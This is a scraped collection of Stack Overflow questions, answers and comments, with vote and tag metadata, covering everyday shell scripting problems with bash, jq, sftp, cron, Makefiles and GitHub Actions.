upvote count: 2
has comment: http://stackoverflow.com/comment/135980986
answers question: http://stackoverflow.com/q/77134969
has body: check this out : sftp -v -oport=22 $user@"$host" <<EOF echo -n "$user@$host's Password: " read -s password echo echo "$password" # your further commands here EOF
accepted answer of: http://stackoverflow.com/q/77134969
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135980924
has comment: http://stackoverflow.com/comment/135980847
downvote count: 0

http://stackoverflow.com/comment/136091821
type: QuestionComment
type: Comment
has text: [Shellcheck](https://www.shellcheck.net/) identifies several problems with the code. The report that it produces includes links to more information about the problems and how to fix them. It's a good idea to run [Shellcheck](https://www.shellcheck.net/) on all new and modified shell code.
comment on: http://stackoverflow.com/q/77196656
score: 1

http://stackoverflow.com/a/77219653
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/136133206
has body: You can try the below script for your case: #!/bin/bash # Set the starting number for renaming start=1 # Loop through the files and rename them for file in *.png; do # Get the file extension extension="${file##*.}" # Create the new filename new_filename="$start.$extension" # Check if the new filename already exists if [ -e "$new_filename" ]; then echo "File already exists: $new_filename. Skipping." else # Rename the file mv "$file" "$new_filename" # Increment the counter fi start=$((start + 1)) done echo "Renaming complete." You have to create this script in the same directory where your files are present. Also, don't forget to give the required permissions for this script and execute them for your desired results.
has comment: http://stackoverflow.com/comment/136139268
has comment: http://stackoverflow.com/comment/136133499
has comment: http://stackoverflow.com/comment/136132822
has comment: http://stackoverflow.com/comment/136141070
upvote count: 1
answers question: http://stackoverflow.com/q/77219602

http://stackoverflow.com/comment/135998683
type: QuestionComment
has text: where and how did you define the variable `build_tag`? can you update your question with the relevant details.
type: Comment
comment on: http://stackoverflow.com/q/77144870
score: 0

http://stackoverflow.com/comment/136158962
comment on: http://stackoverflow.com/a/77234131
score: 1
type: Comment
type: AnswerComment
has text: I see. Then maybe you can use `gh api`. I'll put what I know in edited part of my post

http://stackoverflow.com/a/77096618
score: 0
accepted answer of: http://stackoverflow.com/q/77095520
answers question: http://stackoverflow.com/q/77095520
type: Answer
type: AcceptedAnswer
has body: I was finally able to solve this question thanks to get the good suggestion provided here https://www.bejarano.io/fixing-cron-jobs-in-mojave/, cron needs to be provided disk access, it seems, it doesn't have disk access by default, as a side not make sure to also allow terminal to have full disk access Simply add the following to full disk access under, System Settings &gt; Privacy &amp; Security &gt; Full Disk Access /usr/sbin/cron

http://stackoverflow.com/comment/136111382
comment on: http://stackoverflow.com/a/77205722
has text: @jhnc team-lead)
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135888358
comment on: http://stackoverflow.com/q/77082632
type: Comment
score: 0
type: QuestionComment
has text: See https://mywiki.wooledge.org/BashFAQ/024. It's good that you ran http://shellcheck.net on your code but if you had clicked on the error Id [SC2030](https://www.shellcheck.net/wiki/SC2030) in the shellcheck output ("[SC2030](https://www.shellcheck.net/wiki/SC2030) (info): Modification of LIST_OF_FILES is local (to subshell caused by pipeline).") it would also have explained the problem to you and told you the solution.

http://stackoverflow.com/q/77079649
has answer: http://stackoverflow.com/a/77079666
has comment: http://stackoverflow.com/comment/135884564
has comment: http://stackoverflow.com/comment/135907880
tagged with: shell
score: -3
has body: Just as the title, I am starting using ShellCheck as a static tool to analyze and help to imrove the shell script, and I am asked a question about the standard this tool referring to to carry out the scan work and the output that based on. I googled it and expected to see the standard is from Google, Redhat, or Linux community, or even Mirosoft(I know this would be funny if it's true), or anyt tech giant, but I haven't found any clues, so could any one share with me these information?
answer count: 1
favorite count: 0
downvote count: 3
tagged with: shellcheck
has comment: http://stackoverflow.com/comment/135883468
type: Question
upvote count: 0
has comment: http://stackoverflow.com/comment/135893592
has comment: http://stackoverflow.com/comment/135884661
type: UnansweredQuestion
has title: What's the standard that the ShellCheck refers to?

http://stackoverflow.com/comment/136091602
type: Comment
has text: Any possibility of odd characters like spaces in any of the directory names? You should really be using an array. Try running it with `set -x` active. You could also check for the file - `(cd "$dir" && ls "$dir.xml" && /scripts/myScript.py -f "$dir.xml")`
score: 0
comment on: http://stackoverflow.com/q/77196656
type: QuestionComment

http://stackoverflow.com/a/77229144
has comment: http://stackoverflow.com/comment/136159546
downvote count: 0
has comment: http://stackoverflow.com/comment/136162900
answers question: http://stackoverflow.com/q/77228708
has comment: http://stackoverflow.com/comment/136149946
score: 1
has body: NOTE: Addressing the problem(s) above by modifying the answer based on various comments: First Error: SSL issues. from my previous post and contributing comments by various people: 1. SSL vs non SSL That was fixed with: Change: http://localhost:8000/v1/eval TO: https://localhost:8000/v1/eval 2. Self signed certs CuRL does not like that.. (thank's @mads-hansen) This was resolved with the -k flag 3. Now we move onto a new error (see comments) "XDMP-EVALQUERY:" This is caused by the script bkp.xqy not following the format as documented. Please see here: https://docs.marklogic.com/REST/POST/v1/eval and specifically the second example. The request is a x-www-form-urlencoded request. You are actually passing a field in the body that must be named. Your file needs to start with: xquery= as the first line. The most simple file I use for testing: xquery= xquery version "1.0-ml"; 1 Returns this from the eval endpoint ( "1" being my value from the script): --BOUNDARY Content-Type: text/plain X-Primitive: integer 1 --BOUNDARY-- Regarding Your script, there is a management API that can run the backup command for You. Please see an example here: KB:Approaches to scripting a database backup using the MarkLogic ReST API
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/136150141
has comment: http://stackoverflow.com/comment/136150285

http://stackoverflow.com/q/77145853
has body: We have an EBS 12.2 instance running on RHEL 8.x that was working fine until recently but has started getting blank emails when sending using mailx from a shell script. I can't determine anything different between calling the script locally and with the EBS concurrent program, but when the concurrent program calls mailx, a message gets queued in postfix that has no subject, no body, and no To: header. Has anybody ever seen something like this? I know it's not a lot to go on, but I'm hoping it will ring a bell for somebody. The call looks like this, and works fine from the interactive shell: cat /tmp/file.tmp | mailx -s "Subject of message for ${TODAY}" $recipient I was expecting to see an email with contents, subject, etc. I've tried forcing different shells in the script header and confirmed that the file exists with the right contents even when invoked from EBS. I've also tried variations of the mailx command to try and get it to misbehave in the same way outside the concurrent program, but without any luck.
has comment: http://stackoverflow.com/comment/136217553
tagged with: oracle-ebs
has comment: http://stackoverflow.com/comment/136217898
has comment: http://stackoverflow.com/comment/136025306
has comment: http://stackoverflow.com/comment/136065847
has title: Problem with Oracle EBS concurrent program calling mailx
score: 0
type: Question
answer count: 0
tagged with: mailx
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/135935862
type: QuestionComment
score: 0
has text: P.s. `Lets say youtube and your smartphone listening you (from microphone`...again this specific example does not come from an exploit. It happens because at some time the user gave an application or web page specific permission to use the system's microphone, and agreed to the terms and conditions (even if they didn't really read them!) so that they consented for it to collect such data and use it for advertising. So it is not an example of the process you are proposing to create.
type: Comment
comment on: http://stackoverflow.com/q/77100448

http://stackoverflow.com/comment/136152231
type: Comment
type: AnswerComment
score: 0
has text: I used as command line argument `${option.expression}` and executed. I also tried `$RD_OPTION_MYOPTION` . It did not work even with this. Now I used this script content format to pass option to script `@option.expression@`. Its working now. Thanks
comment on: http://stackoverflow.com/a/77230166

http://stackoverflow.com/a/77234131
has comment: http://stackoverflow.com/comment/136158858
type: Answer
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136158962
answers question: http://stackoverflow.com/q/77233116
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/136166333
accepted answer of: http://stackoverflow.com/q/77233116
upvote count: 1
has body: Like @Jim commented, you don't need to clone them all. Can use git ls-remote, with more params: git ls-remote --heads ${URL} ${KEYWORD} to verify if that branch exists. So the script would be something like: KEYWORD=my_repo for repo_name in ${repositories[@]}; do URL=gh:$org_name/$repo_name # see note [1] below. if [[ -n $(git ls-remote --heads ${URL} ${KEYWORD}) ]] ; then echo "Branch does exist in $org_name/$repo_name" else echo "Branch does not exist in $org_name/$repo_name" done Note I use ssh to connect to Github with ssh config like this: Host gh Hostname ssh.github.com User git Port 443 IdentityFile ~/.ssh/id_rsa_my_key You may need to change the URL to a proper value. the git ls-remote command seems not return 1 when the branch is not found. You can use -n ... (like the example above) or use grep -q ${KEYWORD} in your if conditions. Edited - get branch list with gh api If you can use gh api, can install jq then filter branches without cloning like this: gh api repos/$org_name/$repo_name/branches | jq -r '.[].name' | grep -w ${KEYWORD} # I prefer grep -q in if statements # e.g. # if gh api repos/$org_name/$repo_name/branches | jq -r '.[].name' | grep -q ${KEYWORD} # then # ... # fi To install jq, see: https://command-not-found.com/jq

http://stackoverflow.com/comment/136020047
type: AnswerComment
comment on: http://stackoverflow.com/a/77149598
has text: You're welcome. FWIW if you put `v="$v"` on the same line as and immediately before `awk` then you won't need to `export v`, i.e. `v="$v" awk ...` all on one line.
type: Comment
score: 0

http://stackoverflow.com/q/77152949
has answer: http://stackoverflow.com/a/77153051
type: Question
has comment: http://stackoverflow.com/comment/136012793
has comment: http://stackoverflow.com/comment/136013304
score: 0
tagged with: shell
has body: Run for all the PROC to be executed. ## Run for all the proc to be executed. $(PROC): @if [ -a $(TEST_DIR)/$@.c ]; then \ $(info $(TARG) );\ $(info $(CSEED) );\ $(info "------------------");\ $(info "COMPILING bin dir is $(BIN_DIR)");\ $(MKDIR) $(BIN_DIR);\ $(COPY) $(TEST_DIR)/*.c $(BIN_DIR) || true;\ fi; \ I am getting below error for this piece of code. Trying to understand what I am missing here. /bin/sh: -c: line 3: syntax error near unexpected token ;;' /bin/sh: -c: line 3: ;' make: *** [dp_hs0] Error 1 child process exited abnormally Tried few changes but no luck
tagged with: makefile
type: UnansweredQuestion
has title: Makefile syntax error near unexpected token
answer count: 1

http://stackoverflow.com/comment/136141551
type: QuestionComment
type: Comment
score: 0
has text: You might have a look at using jq: https://jqlang.github.io/jq/
comment on: http://stackoverflow.com/q/77224625

http://stackoverflow.com/comment/136041443
score: 0
has text: You're probably running into macOS' privacy protection system ("Transparency, Consent, and Control" -- TCC), which restricts access to many user folders. You have to find a way to grant the script access to your Documents etc folders. See ["How to run a LaunchAgent that runs a script which causes failures because of System Integrity Protection"](https://apple.stackexchange.com/questions/338213/how-to-run-a-launchagent-that-runs-a-script-which-causes-failures-because-of-sys).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77168940

http://stackoverflow.com/comment/135919565
has text: The links do not solves this issue...
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77100054
type: Comment

http://stackoverflow.com/comment/136049814
type: Comment
type: AnswerComment
has text: [Don't read files with a `for` loop.](https://mywiki.wooledge.org/DontReadLinesWithFor) Use [while](https://mywiki.wooledge.org/BashFAQ/001). Otherwise, I kinda like this approach, so long as all the column names are valid `bash` variable names.
comment on: http://stackoverflow.com/a/77171531
score: 1

http://stackoverflow.com/comment/138452804
has text: Depends on context. For shell libraries designed to be sourced, for example, writing to POSIX means you don't need to know which specific shell the user is using. And in a world full of embedded systems (Android, Docker containers using Alpine, &c) and also having major non-embedded distros preferring ash by policy (Debian), being able to write to the standard has value.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77118220

http://stackoverflow.com/comment/135849689
comment on: http://stackoverflow.com/a/77060621
has text: If using modern bash, `new_file=${file,,}` is much more efficient than using `tr` here. (The convert-to-all-caps version is `${file^^}`)
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/q/77172041
tagged with: espanso
has body: I have a shell script in Espanso (Mac) that I call. The output of the shell script is nicely given to Espanso so that it appears wherever I type. However, I would like the output of my script to end with two enters: \n\n This is trimmed by Espanso. This also applies to spaces at the end of a text. Within my terminal, however, I can extend this output with spaces or enters. So it seems to go wrong with the connection between sh/bash and Espanso. Example: String: "Good afternoon,\n\n" Expected: "Good afternoon, " Output: "Good afternoon," -- String: "Hello,\n\nHow are you?\n\n" Expected: "Hello, How are you? " Output: "Hello, How are you?" -- String: "The problem is " Expected: "The problem is " Output: "The problem is" So, enters and spaces within a string are send to the output, but at the line's end, they aren't. How can I bypass/disable this way of trimming? I use it as you can find here: https://espanso.org/docs/matches/extensions/#shell-extension
has answer: http://stackoverflow.com/a/78104568
tagged with: macos
tagged with: shell
upvote count: 2
downvote count: 0
answer count: 1
favorite count: 0
has title: Spaces and line breaks at the end of a shell script are not send to Espanso, how can I change that?
score: 2
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/136003525
comment on: http://stackoverflow.com/q/77147140
has text: Please read the descriptions of the tags you apply! In particular the `bash` and `shell` tags are mutually exclusive usually.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/136002682
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77147179
has text: Then, use the solution I gave. Use `source env.sh` where `env.sh` is the variables declarations. The variable declaration is not _magic_ nor _global_ in the sense you expect, to be global and everywhere, you need to declare the variable in `/etc/environment` by example
type: Comment

http://stackoverflow.com/comment/136069921
score: 0
comment on: http://stackoverflow.com/q/77184696
type: QuestionComment
has text: The nesting of the `if [[ ${b} -gt 5 ]]; then ... fi` does not count as a loop level. `break n` means break out of `n` nesting levels of looping, not `n` nesting levels of loops or other kinds of statements. The default `n` is 1: break out of the inner-most enclosing loop. `break 2` means break out of the innermost enclosing loop and the one enclosing it, and so on.
type: Comment

http://stackoverflow.com/comment/136103018
type: Comment
has text: If you use `vim` - look [here](https://unix.stackexchange.com/questions/39982/vim-create-file-with-x-bit/39995#39995). And don't tag `MacOS` questions as Linux. :P
comment on: http://stackoverflow.com/q/77203420
score: 3
type: QuestionComment

http://stackoverflow.com/comment/135924506
has text: You may want to say `datum=$(TZ="UTC" date -d "$date" +%s)`.
type: Comment
comment on: http://stackoverflow.com/q/77102508
score: 0
type: QuestionComment

http://stackoverflow.com/a/77162746
type: Answer
answers question: http://stackoverflow.com/q/77162327
score: 0
has body: make sure that the then keyword is not on the same line as the if statement or is separated from it by a ;, this is working for me without error ! while true do # Subscribe to relevant topics mosquitto_sub -h 192.168.1.37 -t "0_0" -t "0_1" | while read -r topic do # This is a callback to be executed every time a client subscribes to a topic echo "Client subscribed to ${topic}" # Check the topic and redirect the subscription if $topic == "0_0" ; then mosquitto_sub -h 192.168.30 -t $topic elif $topic == "0_1" ; then mosquitto_sub -h 192.168.25 -t $topic fi done sleep 10 # Wait 10 seconds until reconnection done
has comment: http://stackoverflow.com/comment/136030678
accepted answer of: http://stackoverflow.com/q/77162327
type: AcceptedAnswer
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/77097601
has body: With GNU utilities you could do: grep -cZ '^&gt;' ~/Test/*.fasta | tr '\0' '\t' &gt;countreads.txt -Z prints a null after the filename instead of a colon tr converts that into a tab If you know your filenames don't contain colons, this should work with any version: grep -c '^&gt;' ~/Test/*.fasta | tr : '\t' &gt;countreads.txt
has comment: http://stackoverflow.com/comment/135919607
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77097393

http://stackoverflow.com/comment/136103155
has text: Couldn't you just run the file with eg `bash script.sh`?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77203420
score: 0

http://stackoverflow.com/a/77192738
accepted answer of: http://stackoverflow.com/q/77192433
type: Answer
score: 1
has body: With mikefarah's yq version v4.18.1 "eval is now the default command, you can leave it out". With versions prior to it, including 4.16.2, you have to provide the eval (or e) command. So, change else yq -i 'del(.data)' secret.yaml to else yq -i eval 'del(.data)' secret.yaml or else yq -i e 'del(.data)' secret.yaml Just like you did with the command in the then branch.
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/77192433
has comment: http://stackoverflow.com/comment/136087750
downvote count: 0

http://stackoverflow.com/q/77178372
accepted answer: http://stackoverflow.com/a/77178663
tagged with: github-actions
has answer: http://stackoverflow.com/a/77178663
has title: Unable to read input in bash script on github actions
tagged with: shell
tagged with: ubuntu
answer count: 1
type: AnsweredQuestion
tagged with: github
score: 0
has body: I am facing an issue with reading the input from GitHub actions. I have created a cli in which I need to provide some input while executing since I don't want to interact with the cli and provide the input directly in the command. I am using '<' for providing it. I have tried below options but none of them works in github actions (all of them work fine in my local environment). my-cli <<< name my-cli < name.txt (where name.txt contains the name) printf name | my-cli cat name.txt | my-cli (where name.txt contains the name) Assuming, my-cli expects some string (name). I tested all these in my local Ubuntu, it works fine but not with GitHub actions. my workflow.yml file # This is a basic workflow that is manually triggered name: Some name on: schedule: - cron: "0 0 * * *" workflow_dispatch: jobs: solve: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v2 - name: Apply permissions run: chmod +x scripts/*.sh - name: Setup env: name: ${{ vars.USERNAME }} run: scripts/setup.sh shell: bash my setup.sh file #!/bin/bash echo $username echo -e "$creds" >> auth.txt # cat auth.txt | leetcode user -c my-cli < auth.txt # my-cli <<< $username rm auth.txt The output is empty name: But it should have name: someName upon execution. Can someone please let me know if I am missing something? It works fine with local env
has comment: http://stackoverflow.com/comment/136058669
tagged with: bash
has comment: http://stackoverflow.com/comment/136058770
type: Question

http://stackoverflow.com/comment/136149946
has text: hi @David when i change it to https it gives this error - curl: (60) SSL certificate problem: self signed certificate in certificate chain More details here: https://curl.haxx.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77229144
type: Comment

http://stackoverflow.com/comment/136073292
comment on: http://stackoverflow.com/a/77186619
type: AnswerComment
score: 0
has text: https://stackoverflow.com/questions/11233825/multi-dimensional-arrays-in-bash
type: Comment

http://stackoverflow.com/comment/135979085
comment on: http://stackoverflow.com/q/77129396
type: Comment
has text: Don't expect people to click on links or download anything from any other site to be able to help you and if that link is to some input files that'd only be half what we'd need as we'd also need the expected output given that input and it's almost certainly more data than we need to look at to be able to understand your problem and may not cover all your possible use cases. Simply create and post a [mcve] in your question to make it as easy as possible for us to help you, see [ask]. The more effort you put into asking a good question the better your chances of getting a good answer.
type: QuestionComment
score: 1

http://stackoverflow.com/q/77231507
score: 0
tagged with: shell
type: UnansweredQuestion
tagged with: bjam
answer count: 1
tagged with: b2
linked to: http://stackoverflow.com/q/8474753
has answer: http://stackoverflow.com/a/77231508
has title: Access variable from boost build/b2/bjam from shell script
tagged with: boost-build
type: Question
has body: I would like to be able to access the value of a variable which is computed inside a jamroot (or jamfile) from the shell. Something like this for CMake. Example jamroot: MY_VARIABLE=42 Desired solution: b2 --print-variable=MY_VARIABLE # running in a directory below the jamroot
tagged with: variables

http://stackoverflow.com/comment/136172001
score: 0
has text: Add `Debug.Print arr_txt(i, 2), arr_txt(i, 1)` before replace to validate the text before replacing. Or check it in debugging.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785

http://stackoverflow.com/q/77165700
has comment: http://stackoverflow.com/comment/136037742
has title: Execute pdflatex program via Python
has comment: http://stackoverflow.com/comment/136037403
has body: I have two Python variables: name and filename. If I assign them with values like name = "HELLO" and filename = "demo.tex" How can I write a Python script so that it can run the following shell command: pdflatex "\def\name{HELLO} \input demo.tex" Since I need to compile many tex files so I need this kind of method to automate the process. A minimal tex file % demo.tex \documentclass{article} \begin{document} \name \end{document} Python script: import subprocess name = "HELLO" filename = "demo.tex" subprocess.run(["pdflatex", "\\def\\name{{name}} \\input {filename}"]) I want {name} and {filename} to be replaced by HELLO and demo.tex. Update: By the hint of @Klaus D., I finally solved this problem: subprocess.run(["pdflatex", "\\def\\name{", f"{name}", "}", f"\\input {filename}"])
has comment: http://stackoverflow.com/comment/136035646
score: 0
type: Question
has answer: http://stackoverflow.com/a/77165887
tagged with: shell
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/136037359
tagged with: python
tagged with: latex

http://stackoverflow.com/comment/135857612
type: Comment
has text: Where do you expect it be printed? It _is_ printed to stdout, then passed through the pipe and consumed by xargs and passed as argument to bzip2. If it weren't printed, nothing would happen, because there are no filenames for bzip2 to be compressed
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77065180

http://stackoverflow.com/a/77216491
answers question: http://stackoverflow.com/q/77216118
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77216118
has comment: http://stackoverflow.com/comment/136128326
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136128159
type: Answer
has comment: http://stackoverflow.com/comment/136127143
has body: ${var#prefix} and ${var##prefix} are anchored to the beginning of the string. ${var%suffix} and ${var%%suffix} are anchored to the end of a string. If you want an unanchored replacement, then you should use ${var/pattern/subst} (which can have subst left empty, as in, ${string/a*C/}, or ${var//pattern/subst} (which works the same way, but replaces all instances of pattern, not only the first). If your goal is an unanchored, non-greedy substring removal, you could do it with an extglob, but personally, I'd use a regex written to emulate non-greediness using character classes: re='^(.*)(b[^C]*C)(.*)' $string =~ $re &amp;&amp; result=&quot;${BASH_REMATCH[1]}${BASH_REMATCH[3]}&quot;` ...whereas the extglob approach would look like: shopt -s extglob result=${string/b*([^C])C/}
score: 2
upvote count: 2

http://stackoverflow.com/comment/135951566
type: QuestionComment
comment on: http://stackoverflow.com/q/77118875
type: Comment
has text: @Compo, `cmd /k` executes _synchronously_, _in the same window_, i.e. takes over the interactive PowerShell session. I'm _guessing_ that the intent is to run the interactive `cmd.exe` session _asynchronously_, in a _new window_.
score: 0

http://stackoverflow.com/q/77170372
has answer: http://stackoverflow.com/a/77170418
has answer: http://stackoverflow.com/a/77170416
tagged with: shell
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77170418
answer count: 3
tagged with: jq
score: 0
type: Question
has title: select multiple key and values from a JSON output using JQ
tagged with: bash
has body: I have a JSON data like below [ { "id": 4449282, "iid": 6316, "project_id": 1234, "sha": "abcdefg", "ref": "test_branch", "status": "running", "source": "web", "created_at": "2023-09-25T05:55:20.788Z", "updated_at": "2023-09-25T05:55:23.481Z", "web_url": "https://example.gitlab.com" } ] I want the output to be filtered only with select key and values. The filtered output I need is [ { "iid": 6316, "project_id": 1234, "ref": "test_branch", "status": "running", "source": "web", "created_at": "2023-09-25T05:55:20.788Z", "updated_at": "2023-09-25T05:55:23.481Z", "web_url": "https://example.gitlab.com" } ] I tried with jq 'with_entries and jq select , but couldn't get it working.
has answer: http://stackoverflow.com/a/77177507
possible better answer: http://stackoverflow.com/a/77170416
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/135982928
score: 1
has text: @shellter Thanks! Now trying to research on that. Reading gnome-terminal manual but couldn't find anything helpful yet. I'll make sure to update and resolve my question in case I'll get my script for work. Thanks for contributing!
comment on: http://stackoverflow.com/q/77135598
type: Comment
type: QuestionComment

http://stackoverflow.com/a/77224596
answers question: http://stackoverflow.com/q/77224520
has comment: http://stackoverflow.com/comment/136153467
has body: You have to link tesseract library obviously. Exposing include directory of tesseract makes pre-processor happy, but not the linker. Prefer to use modern CMake, and rely on CMake imported target like a good citizen, instead of these ugly Tesseract_* CMake variables. It's so easy to miss stuff like interface definitions, interface features etc, while CMake target carries all this information: cmake_minimum_required(VERSION 3.15) project(foo LANGUAGES CXX) find_package(Tesseract REQUIRED) add_executable(bar App/main.cpp) target_link_libraries(bar PRIVATE Tesseract::libtesseract) target_compile_features(bar PRIVATE cxx_std_20)
type: Answer
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/136147460

declare
type: Tag
tag name: declare
tags question: http://stackoverflow.com/q/77190844
tags question: http://stackoverflow.com/q/77270527
tags question: http://stackoverflow.com/q/79320464
tags question: http://stackoverflow.com/q/79301929

http://stackoverflow.com/comment/136038159
comment on: http://stackoverflow.com/q/77166714
score: 0
has text: ...and to be clear, grep searches content from _stdin_, FD 0; it doesn't search FD 1 -- 1 is stdout, where it writes its output.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136119857
comment on: http://stackoverflow.com/q/77212721
score: 0
type: QuestionComment
has text: Does running your `awk` command on each file manually works?
type: Comment

http://stackoverflow.com/comment/136091097
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/77196656
type: Comment
has text: Probably not the cause of the problem you're asking about but `DIR_PROJECTS` should be an array accessed by `for dir in "${DIR_PROJECTS[@]}"`, not a scalar variable accessed by `for dir in $DIR_PROJECTS`. Does `DIR_PROJECTS` contain absolute paths to your directories or relative paths?

http://stackoverflow.com/q/77235620
has body: I've been reading through other posts and jq reference pages but I cannot seem to get this working. Example data { "member": [ { "firstName": "Paul" "lastName": "Simons" "certificates": [ { "status" : "Pass", "grade" : { "type" : "music", "level" : 3 }, "awardDate" : "2023-01-28" } { "status" : "Pass", "grade" : { "type" : "sports", "level" : 2 }, "awardDate" : "2021-02-02" } { "status" : "Pass", "grade" : { "type" : "music", "level" : 2 }, "awardDate" : "2021-02-02" } } ] } The aim is to list: each members name, date of most senior grade (per type), type of grade, level of grade. Paul Simmons, [music, 3, 2023-01-28], [sports, 2, 2021-02-02]. Where I've gotten to before my head exploded: jq -r '.member[] | [.firstName + " " + .lastName, (.certificates | sort_by(.awardDate) | (.[-1].awardDate) as $max | .[] | select(.grade.type) | select(.awardDate == $max) | [(.awardDate | fromdateiso8601 | strflocaltime("%Y-%m-%d")), .grade.type, .grade.level])'] members.json Determining the most recent level (per type of certificate), could also be finding the highest level, rather than using date - however I was having trouble.
tagged with: arrays
type: Question
tagged with: select
tagged with: shell
downvote count: 0
has answer: http://stackoverflow.com/a/77235822
score: 1
has title: jq - unable to correctly perform multiple selects
answer count: 1
upvote count: 1
tagged with: jq
favorite count: 0
accepted answer: http://stackoverflow.com/a/77235822
has comment: http://stackoverflow.com/comment/136161408
type: AnsweredQuestion

http://stackoverflow.com/comment/135914606
has text: A realloc function must know the previous size of the object. When copying material from old to new, it must loop from 0 to min(old_size, new_size) because the loop accesses both the old and new object.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77095231

http://stackoverflow.com/comment/135911145
type: Comment
type: AnswerComment
score: 0
has text: Can you get the file permission of the python file, ```ls -l /absolute path/to/file/myfile.py```.
comment on: http://stackoverflow.com/a/77095729

conan
tag name: conan
tags question: http://stackoverflow.com/q/77224520
type: Tag

http://stackoverflow.com/comment/136043470
type: QuestionComment
type: Comment
has text: I'm getting the file size in number and also getting the file name @moo. But I need only the number
score: 0
comment on: http://stackoverflow.com/q/77170124

http://stackoverflow.com/comment/136933998
type: AnswerComment
score: 0
has text: Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
comment on: http://stackoverflow.com/a/77640757
type: Comment

http://stackoverflow.com/comment/135956526
type: QuestionComment
comment on: http://stackoverflow.com/q/77121773
score: 1
type: Comment
has text: @EdMorton : Thank you for the quick response. Let me check

http://stackoverflow.com/comment/135906948
type: Comment
comment on: http://stackoverflow.com/q/77093338
has text: (1) - Easy native solution is just to put all your values in as keys in a single object, and then list those keys; that gets you deduplication "for free".
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136025904
score: 0
comment on: http://stackoverflow.com/a/77160081
type: Comment
type: AnswerComment
has text: If it is possible to do it in a single awk command, I would like to go that route. Is this something you could help me with? I can share output file formats, is this something better done in dms?

http://stackoverflow.com/comment/135986236
score: 5
has text: `D:/Program Files (x86)` and `/usr/bin/sh: -c: line 1: syntax error near unexpected token \`('` - the root point of the issue is here.
type: QuestionComment
comment on: http://stackoverflow.com/q/77138083
type: Comment

http://stackoverflow.com/q/77152224
has comment: http://stackoverflow.com/comment/136011552
has comment: http://stackoverflow.com/comment/136011421
tagged with: bash
has comment: http://stackoverflow.com/comment/136011571
type: Question
has body: I'm trying to call one script from jenkins pipeline where I'm passing dynamic variable as an argument as shown below. dbpassword variable contains value as #!2323qwq i.e. starting from special characters. I'm executing this script within double quotes and if I use single quotes within double quotes, will it expand my variable and pass it successfully ? sh "./script-test.sh $dbpassword" where as script-test.sh script contains below code: #!/bin/bash new_pwd=$1 echo "password: $new_pwd" sqlplus username/$new_pwd But, It shows blank in the output command: password: Could you please let us know how can I pass the variable which contains special character? So that I can use that as password for sqlplus command in the script.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136011621
tagged with: special-characters
score: 0
has title: How to pass dynamic variable starting with special character as an argument in bash/shell script
linked to: http://stackoverflow.com/q/10067266
answer count: 0
tagged with: shell
duplicate of: http://stackoverflow.com/q/10067266
has comment: http://stackoverflow.com/comment/136011342

http://stackoverflow.com/q/77133248
answer count: 1
has body: I want to execute the following command inside my docker container through docker compose cat <<EOT >> /config.toml tls.certificates certFile = "/etc/letsencrypt/live/example.site/fullchain.pem" keyFile = "/etc/letsencrypt/live/example.site/privkey.pem" EOT Here's the basic docker compose for this particular container container: image: container-image command: - --api=true - --dashboard=true I want to add that multi line command below those two commands. If it was a single command, i could have simply used - sh -c "echo 'single line command'" But how do i execute this multi line command in this instance ?
has comment: http://stackoverflow.com/comment/135978025
tagged with: sh
tagged with: docker
score: 0
has answer: http://stackoverflow.com/a/77133667
tagged with: bash
accepted answer: http://stackoverflow.com/a/77133667
has title: How do i execute a multi line command through docker compose?
has comment: http://stackoverflow.com/comment/135977779
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135977952
type: Question
tagged with: shell
tagged with: docker-compose

http://stackoverflow.com/comment/135990691
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77139164
type: Comment
has text: You could pipe the stdout of your script to `sed`, for generating the URL. To make it clickable, go to the iTerm2 preferences, the _pointer_ tab. There is a checkbox for this feature.

shellcheck
type: Tag
tags question: http://stackoverflow.com/q/77079649
tag name: shellcheck

http://stackoverflow.com/comment/136128159
comment on: http://stackoverflow.com/a/77216491
type: Comment
has text: @Renato I'd probably use a regex for that. `re='^(.*)(b[^C]*C)(.*)'; s='abcABC123ABCabc'; $s =~ $re && result="${BASH_REMATCH[1]}${BASH_REMATCH[3]}"`
type: AnswerComment
score: 0

http://stackoverflow.com/a/77070684
has comment: http://stackoverflow.com/comment/135874549
type: Answer
type: AcceptedAnswer
